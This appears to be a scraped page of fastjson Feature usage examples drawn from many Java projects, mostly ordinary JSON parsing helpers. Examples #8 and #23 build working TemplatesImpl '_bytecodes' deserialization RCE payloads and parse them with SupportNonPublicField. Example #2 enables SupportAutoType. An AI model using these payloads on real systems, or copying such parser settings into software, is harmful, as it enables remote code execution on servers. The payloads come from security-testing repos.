com.alibaba.fastjson.parser.Feature Java Examples

The following examples show how to use com.alibaba.fastjson.parser.Feature. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: ReflectUtil.java    From game-server with MIT License 6 votes vote down vote up
/**
 * wzy扩展
 *
 * @param input
 * @param value
 * @param config
 * @param processor
 * @param featureValues
 * @param features
 */
private static void reflectObject(String input, Object value, ParserConfig config, ParseProcess processor,
		int featureValues, Feature... features) {
	if (input == null) {
		return;
	}
	for (Feature featrue : features) {
		featureValues = Feature.config(featureValues, featrue, true);
	}

	DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);

	if (processor instanceof ExtraTypeProvider) {
		parser.getExtraTypeProviders().add((ExtraTypeProvider) processor);
	}

	if (processor instanceof ExtraProcessor) {
		parser.getExtraProcessors().add((ExtraProcessor) processor);
	}
	parser.parseObject(value);
	parser.handleResovleTask(value);
	parser.close();
}
 
Example #2
Source File: AVObject.java    From java-unified-sdk with Apache License 2.0 6 votes vote down vote up
/**
   * Create AVObject instance from json string which generated by AVObject.toString or AVObject.toJSONString.
   *
   * @param objectString json string.
   * @return AVObject instance, null if objectString is null
   */
  public static AVObject parseAVObject(String objectString) {
    if (StringUtil.isEmpty(objectString)) {
      return null;
    }
    // replace leading type name to compatible with v4.x android sdk serialized json string.
    objectString = objectString.replaceAll("^\\{\\s*\"@type\":\\s*\"[A-Za-z\\.]+\",", "{");
//    objectString = objectString.replaceAll("^\\{\\s*\"@type\":\\s*\"cn.leancloud.AV(Object|Installation|User|Status|Role|File)\",", "{");

    // replace old AVObject type name.
    objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.AVObject\",", "\"@type\":\"cn.leancloud.AVObject\",");
    objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.AVInstallation\",", "\"@type\":\"cn.leancloud.AVInstallation\",");
    objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.AVUser\",", "\"@type\":\"cn.leancloud.AVUser\",");
    objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.AVStatus\",", "\"@type\":\"cn.leancloud.AVStatus\",");
    objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.AVRole\",", "\"@type\":\"cn.leancloud.AVRole\",");
    objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.AVFile\",", "\"@type\":\"cn.leancloud.AVFile\",");

    objectString = objectString.replaceAll("\"@type\":\\s*\"com.avos.avoscloud.ops.[A-Za-z]+Op\",", "");

    return JSON.parseObject(objectString, AVObject.class, Feature.SupportAutoType);
  }
 
Example #3
Source File: JSON.java    From uavstack with Apache License 2.0 6 votes vote down vote up
@SuppressWarnings("unchecked")
public static <T> T parseObject(char[] input, int length, Type clazz, Feature... features) {
    if (input == null || input.length == 0) {
        return null;
    }

    int featureValues = DEFAULT_PARSER_FEATURE;
    for (Feature feature : features) {
        featureValues = Feature.config(featureValues, feature, true);
    }

    DefaultJSONParser parser = new DefaultJSONParser(input, length, ParserConfig.getGlobalInstance(), featureValues);
    T value = (T) parser.parseObject(clazz);

    parser.handleResovleTask(value);

    parser.close();

    return (T) value;
}
 
Example #4
Source File: JSON.java    From uavstack with Apache License 2.0 6 votes vote down vote up
@SuppressWarnings("unchecked")
public static <T> T parseObject(byte[] input, //
                                int off, //
                                int len, //
                                CharsetDecoder charsetDecoder, //
                                Type clazz, //
                                Feature... features) {
    charsetDecoder.reset();

    int scaleLength = (int) (len * (double) charsetDecoder.maxCharsPerByte());
    char[] chars = allocateChars(scaleLength);

    ByteBuffer byteBuf = ByteBuffer.wrap(input, off, len);
    CharBuffer charByte = CharBuffer.wrap(chars);
    IOUtils.decode(charsetDecoder, byteBuf, charByte);

    int position = charByte.position();

    return (T) parseObject(chars, position, clazz, features);
}
 
Example #5
Source File: TransactionMessageServiceImpl.java    From tcc-transaction with Apache License 2.0 6 votes vote down vote up
private ServiceExecutePayload parsePayload(TransactionInfo transactionInfo) {
    String json = transactionInfo.getContext();
    //获取模块的名称
    String moduleId= transactionInfo.getModuleId();
    ClassLoader classLoader= SpringContextUtil.getClassLoader(moduleId);
    ParserConfig config= new ParserConfig();
    //指定类加载器
    config.setDefaultClassLoader(classLoader);
    ServiceExecutePayload payload= JSON.parseObject(json, ServiceExecutePayload.class, config, null, JSON.DEFAULT_PARSER_FEATURE, new Feature[0]);
    final Object[] values= payload.getArgs();
    int index=0 ;
    for(Class<?> each: payload.getActualTypes()){
        Object val= values[index];
        if(val!= null) {
            values[index] = JSON.parseObject(val.toString(), each, config, null, JSON.DEFAULT_PARSER_FEATURE, new Feature[0]);
        }
        index++;
    }
    return payload;
}
 
Example #6
Source File: FastjsonUtils.java    From DevUtils with Apache License 2.0 6 votes vote down vote up
/**
 * JSON String 缩进处理
 * @param json JSON String
 * @return JSON String
 */
public static String toJsonIndent(final String json) {
    if (json != null) {
        try {
            // 保持 JSON 字符串次序
            Object object = JSON.parse(json, Feature.OrderedField);
            if (object instanceof JSONObject) {
                return JSONObject.toJSONString(object, true);
            } else if (object instanceof JSONArray) {
                return JSONArray.toJSONString(object, true);
            }
        } catch (Exception e) {
            JCLogUtils.eTag(TAG, e, "toJsonIndent");
        }
    }
    return null;
}
 
Example #7
Source File: JSON.java    From uavstack with Apache License 2.0 6 votes vote down vote up
/**
 * @since 1.2.11
 */
@SuppressWarnings("unchecked")
public static <T> T parseObject(byte[] bytes, int offset, int len, Charset charset, Type clazz, Feature... features) {
    if (charset == null) {
        charset = IOUtils.UTF8;
    }
    
    String strVal;
    if (charset == IOUtils.UTF8) {
        char[] chars = allocateChars(bytes.length);
        int chars_len = IOUtils.decodeUTF8(bytes, offset, len, chars);
        if (chars_len < 0) {
            return null;
        }
        strVal = new String(chars, 0, chars_len);
    } else {
        if (len < 0) {
            return null;
        }
        strVal = new String(bytes, offset, len, charset);
    }
    return (T) parseObject(strVal, clazz, features);
}
 
Example #8
Source File: FastjsonSerialize.java    From learnjavabug with MIT License 6 votes vote down vote up
private static void testSimpleExp() {
    try {
        StringBuilder stringBuilder = new StringBuilder();
        stringBuilder.append("{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",");
        String base64Class = new BASE64Encoder().encode(FileToByteArrayUtil.readCallbackRuntimeClassBytes("com/threedr3am/bug/fastjson/rce/Cmd.class"));
        base64Class = base64Class.replaceAll("\\r\\n","");
        stringBuilder.append("\"_bytecodes\":[\""+base64Class+"\"],");
        stringBuilder.append("\"_name\":\"a.b\",");
        stringBuilder.append("\"_tfactory\":{},");
        stringBuilder.append("\"_outputProperties\":{}}");
        String exp = stringBuilder.toString();
        System.out.println(exp);
        //漏洞利用条件,fastjson版本<=1.2.24 + Feature.SupportNonPublicField
        JSON.parseObject(exp,Object.class, Feature.SupportNonPublicField);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
 
Example #9
Source File: X8sMainActivity.java    From FimiX8-RE with MIT License 5 votes vote down vote up
public void initCameraParams(JSONObject rt) {
    CameraCurParamsJson curParamsJson = (CameraCurParamsJson) JSON.parseObject(rt.toString(), new TypeReference<CameraCurParamsJson>() {
    }, new Feature[0]);
    if (curParamsJson != null && curParamsJson != null) {
        X8sMainActivity.this.mX8MainBottomParameterController.initCameraParam(curParamsJson);
    }
}
 
Example #10
Source File: JsonUtil.java    From PluginLoader with Apache License 2.0 5 votes vote down vote up
/** 解析成map
 * @param jsonStr
 * @param tf
 * @param <T>
 * @return
 */
public static <T> T parseObject(String jsonStr, TypeReference<T> tf) {
    T obj = null;
    try {
        obj = JSON.parseObject(jsonStr, tf, Feature.AutoCloseSource);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return obj;
}
 
Example #11
Source File: FastJsonConfig.java    From metrics with Apache License 2.0 5 votes vote down vote up
public FastJsonConfig(SerializeConfig serializeConfig, SerializerFeature[] serializerFeatures,
                      Map<Class<?>, SerializeFilter> serializeFilters, ParserConfig parserConfig,
                      Feature[] features) {
    this.serializeConfig = serializeConfig;
    this.parserConfig = parserConfig;
    this.serializerFeatures = serializerFeatures;
    this.features = features;
    this.serializeFilters = serializeFilters;
}
 
Example #12
Source File: SmsTencentStrategy.java    From zuihou-admin-boot with Apache License 2.0 5 votes vote down vote up
@Override
protected SmsResult send(SmsDO smsDO) {
    try {
        //初始化单发
        SmsSingleSender singleSender = new SmsSingleSender(Convert.toInt(smsDO.getAppId(), 0), smsDO.getAppSecret());

        String paramStr = smsDO.getTemplateParams();

        JSONObject param = JSONObject.parseObject(paramStr, Feature.OrderedField);

        Set<Map.Entry<String, Object>> sets = param.entrySet();

        ArrayList<String> paramList = new ArrayList<>();
        for (Map.Entry<String, Object> val : sets) {
            paramList.add(val.getValue().toString());
        }

        SmsSingleSenderResult singleSenderResult = singleSender.sendWithParam("86", smsDO.getPhone(),
                Convert.toInt(smsDO.getTemplateCode()), paramList, smsDO.getSignName(), "", "");
        log.info("tencent result={}", singleSenderResult.toString());
        return SmsResult.build(ProviderType.TENCENT, String.valueOf(singleSenderResult.result),
                singleSenderResult.sid, singleSenderResult.ext,
                ERROR_CODE_MAP.getOrDefault(String.valueOf(singleSenderResult.result), singleSenderResult.errMsg), singleSenderResult.fee);
    } catch (Exception e) {
        log.error(e.getMessage());
        return SmsResult.fail(e.getMessage());
    }
}
 
Example #13
Source File: Jsoner.java    From ICERest with Apache License 2.0 5 votes vote down vote up
public static <T> T toObject(String json, Class<T> clazz, Feature... features) {
    try {
        return JSON.parseObject(json, clazz, features);
    } catch (JSONException e) {
        throw new JsonException("Could not cast \"" + json + "\" to " + clazz.getName(), e);
    }
}
 
Example #14
Source File: SmsTaskServiceImpl.java    From zuihou-admin-boot with Apache License 2.0 5 votes vote down vote up
private static String content(ProviderType providerType, String templateContent, String templateParams) {
    try {
        if (StringUtils.isNotEmpty(templateParams)) {
            JSONObject param = JSONObject.parseObject(templateParams, Feature.OrderedField);
            return processTemplate(templateContent, providerType.getRegex(), param);
        }
        return "";
    } catch (Exception e) {
        log.error("替换失败", e);
        return "";
    }
}
 
Example #15
Source File: JSON.java    From uavstack with Apache License 2.0 5 votes vote down vote up
/**
 * @since 1.2.11
 */
@SuppressWarnings("unchecked")
public static <T> T parseObject(InputStream is, //
                                Type type, //
                                Feature... features) throws IOException {
    return (T) parseObject(is, IOUtils.UTF8, type, features);
}
 
Example #16
Source File: FastJsonResponseBodyConverter.java    From beihu-boot with Apache License 2.0 5 votes vote down vote up
FastJsonResponseBodyConverter(Type type, ParserConfig config,
                              int featureValues,
                              Feature... features) {
    mType = type;
    this.config = config;
    this.featureValues = featureValues;
    this.features = features;
}
 
Example #17
Source File: X8MainCameraSettingController.java    From FimiX8-RE with MIT License 5 votes vote down vote up
public void parseParamsValue(JSONObject rt) {
    if (this.evShutterISOController != null) {
        this.evShutterISOController.initData((CameraCurParamsJson) JSON.parseObject(rt.toString(), new TypeReference<CameraCurParamsJson>() {
        }, new Feature[0]));
    }
    if (this.takePhotoSettingContoller != null) {
        this.takePhotoSettingContoller.initData(rt);
    }
}
 
Example #18
Source File: FastJsonConfig.java    From uavstack with Apache License 2.0 5 votes vote down vote up
/**
 * init param.
 */
public FastJsonConfig() {

    this.charset = Charset.forName("UTF-8");

    this.serializeConfig = SerializeConfig.getGlobalInstance();
    this.parserConfig = new ParserConfig();

    this.serializerFeatures = new SerializerFeature[] {
            SerializerFeature.BrowserSecure
    };

    this.serializeFilters = new SerializeFilter[0];
    this.features = new Feature[0];
}
 
Example #19
Source File: SmsTaskServiceImpl.java    From zuihou-admin-cloud with Apache License 2.0 5 votes vote down vote up
private static String content(ProviderType providerType, String templateContent, String templateParams) {
    try {
        if (StringUtils.isNotEmpty(templateParams)) {
            JSONObject param = JSONObject.parseObject(templateParams, Feature.OrderedField);
            return processTemplate(templateContent, providerType.getRegex(), param);
        }
        return "";
    } catch (Exception e) {
        log.error("替换失败", e);
        return "";
    }
}
 
Example #20
Source File: SmsTencentStrategy.java    From zuihou-admin-cloud with Apache License 2.0 5 votes vote down vote up
@Override
protected SmsResult send(SmsDO smsDO) {
    try {
        //初始化单发
        SmsSingleSender singleSender = new SmsSingleSender(Convert.toInt(smsDO.getAppId(), 0), smsDO.getAppSecret());

        String paramStr = smsDO.getTemplateParams();

        JSONObject param = JSONObject.parseObject(paramStr, Feature.OrderedField);

        Set<Map.Entry<String, Object>> sets = param.entrySet();

        ArrayList<String> paramList = new ArrayList<>();
        for (Map.Entry<String, Object> val : sets) {
            paramList.add(val.getValue().toString());
        }

        SmsSingleSenderResult singleSenderResult = singleSender.sendWithParam("86", smsDO.getPhone(),
                Convert.toInt(smsDO.getTemplateCode()), paramList, smsDO.getSignName(), "", "");
        log.info("tencent result={}", singleSenderResult.toString());
        return SmsResult.build(ProviderType.TENCENT, String.valueOf(singleSenderResult.result),
                singleSenderResult.sid, singleSenderResult.ext,
                ERROR_CODE_MAP.getOrDefault(String.valueOf(singleSenderResult.result), singleSenderResult.errMsg), singleSenderResult.fee);
    } catch (Exception e) {
        log.error(e.getMessage());
        return SmsResult.fail(e.getMessage());
    }
}
 
Example #21
Source File: CommonsUtilsTest.java    From rebuild with GNU General Public License v3.0 5 votes vote down vote up
@Ignore
@Test
public void testFormatArea() throws Exception {
	String text = FileUtils.readFileToString(new File("e:/hm.txt"), "gbk");
	JSONObject aJson = (JSONObject) JSON.parse(text, Feature.OrderedField);
	
	JSONArray root = new JSONArray();
	for (Entry<String, Object> E1 : aJson.entrySet()) {
		JSONObject L1 = new JSONObject(true);
		root.add(L1);
		String L1Code = "HK";
		if (E1.getKey().contains("澳门")) L1Code = "MO";
		else if (E1.getKey().contains("台湾")) L1Code = "TW";
		intoJson(E1.getKey(), L1Code, L1);
		
		JSONArray L1Child = new JSONArray();
		L1.put("children", L1Child);
		int L2Index = 1;
		for (Map.Entry<String, Object> E2 : ((JSONObject) E1.getValue()).entrySet()) {
			JSONObject L2 = new JSONObject(true);
			L1Child.add(L2);
			String L2Code = L1Code + StringUtils.leftPad((L2Index++) + "", 2, "0");
			intoJson(E2.getKey(), L2Code, L2);
			
			JSONArray L2Child = new JSONArray();
			L2.put("children", L2Child);
			int L3Index = 1;
			for (Object E3 : (JSONArray) E2.getValue()) {
				JSONObject L3 = new JSONObject(true);
				L2Child.add(L3);
				String L3Code = L2Code + StringUtils.leftPad((L3Index++) + "", 2, "0");
				intoJson(E3.toString(), L3Code, L3);
			}
		}
	}
	
	System.out.println(root);
}
 
Example #22
Source File: JSON.java    From uavstack with Apache License 2.0 5 votes vote down vote up
@SuppressWarnings("unchecked")
public static <T> T parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor,
                                      int featureValues, Feature... features) {
    if (input == null) {
        return null;
    }

    if (features != null) {
        for (Feature feature : features) {
            featureValues |= feature.mask;
        }
    }

    DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);

    if (processor != null) {
        if (processor instanceof ExtraTypeProvider) {
            parser.getExtraTypeProviders().add((ExtraTypeProvider) processor);
        }

        if (processor instanceof ExtraProcessor) {
            parser.getExtraProcessors().add((ExtraProcessor) processor);
        }

        if (processor instanceof FieldTypeResolver) {
            parser.setFieldTypeResolver((FieldTypeResolver) processor);
        }
    }

    T value = (T) parser.parseObject(clazz, null);

    parser.handleResovleTask(value);

    parser.close();

    return (T) value;
}
 
Example #23
Source File: Poc.java    From openrasp-testcases with MIT License 5 votes vote down vote up
public static void testAutoTypeDeny(String rootPath) throws Exception {
    ParserConfig config = new ParserConfig();
    final String fileSeparator = System.getProperty("file.separator");
    final String evilClassPath = rootPath + fileSeparator + "WEB-INF" + fileSeparator + "classes"
            + fileSeparator + "person" + fileSeparator + "Test.class";
    String evilCode = readClass(evilClassPath);
    final String nastyClass = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    String text1 = "{\"@type\":\"" + nastyClass
            + "\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },"
            + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
    System.out.println(text1);
    Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
 
Example #24
Source File: MessageConfig.java    From framework with Apache License 2.0 5 votes vote down vote up
/**
 * 
 * Description: <br> 
 *  
 * @author 王伟<br>
 * @taskId <br>
 * @return <br>
 */
@Bean
public HttpMessageConverters fastJsonHttpMessageConverters() {
    // 1、需要先定义一个 convert 转换消息对象;
    FastJsonHttpMessageConverter fastConverter = new FastJsonHttpMessageConverter();

    FastJsonConfig fastJsonConfig = new FastJsonConfig();
    fastJsonConfig.setFeatures(Feature.AllowISO8601DateFormat);
    fastConverter.setFastJsonConfig(fastJsonConfig);

    return new HttpMessageConverters(new StringHttpMessageConverter(), fastConverter);
}
 
Example #25
Source File: Jsoner.java    From ICERest with Apache License 2.0 5 votes vote down vote up
public static <T> T toObject(String json, TypeReference<T> type, Feature... features) {
    try {
        return JSON.parseObject(json, type, features);
    } catch (JSONException e) {
        throw new JsonException("Could not cast \"" + json + "\" to " + type.getClass().getName(), e);
    }
}
 
Example #26
Source File: Jsoner.java    From ICERest with Apache License 2.0 5 votes vote down vote up
public static <T> T toObject(String json, Type type, Feature... features) {
    try {
        return JSON.parseObject(json, type, features);
    } catch (JSONException e) {
        throw new JsonException("Could not cast \"" + json + "\" to " + type.getClass().getName(), e);
    }
}
 
Example #27
Source File: FastJsonKvCodecTest.java    From actframework with Apache License 2.0 5 votes vote down vote up
@BeforeClass
public static void prepare() {
    SerializeConfig config = SerializeConfig.getGlobalInstance();
    config.put(KV.class, FastJsonKvCodec.INSTANCE);
    config.put(KVStore.class, FastJsonKvCodec.INSTANCE);

    ParserConfig parserConfig = ParserConfig.getGlobalInstance();
    parserConfig.putDeserializer(KV.class, FastJsonKvCodec.INSTANCE);
    parserConfig.putDeserializer(KVStore.class, FastJsonKvCodec.INSTANCE);

    JSON.DEFAULT_PARSER_FEATURE = Feature.config(JSON.DEFAULT_PARSER_FEATURE, Feature.UseBigDecimal, false);
}
 
Example #28
Source File: JSON.java    From uavstack with Apache License 2.0 5 votes vote down vote up
public static Object parse(String text, Feature... features) {
    int featureValues = DEFAULT_PARSER_FEATURE;
    for (Feature feature : features) {
        featureValues = Feature.config(featureValues, feature, true);
    }

    return parse(text, featureValues);
}
 
Example #29
Source File: JSON.java    From uavstack with Apache License 2.0 5 votes vote down vote up
public static Object parse(byte[] input, int off, int len, CharsetDecoder charsetDecoder, Feature... features) {
    if (input == null || input.length == 0) {
        return null;
    }

    int featureValues = DEFAULT_PARSER_FEATURE;
    for (Feature feature : features) {
        featureValues = Feature.config(featureValues, feature, true);
    }

    return parse(input, off, len, charsetDecoder, featureValues);
}
 
Example #30
Source File: JSON.java    From uavstack with Apache License 2.0 5 votes vote down vote up
public static Object parse(byte[] input, Feature... features) {
    char[] chars = allocateChars(input.length);
    int len = IOUtils.decodeUTF8(input, 0, input.length, chars);
    if (len < 0) {
        return null;
    }
    return parse(new String(chars, 0, len), features);
}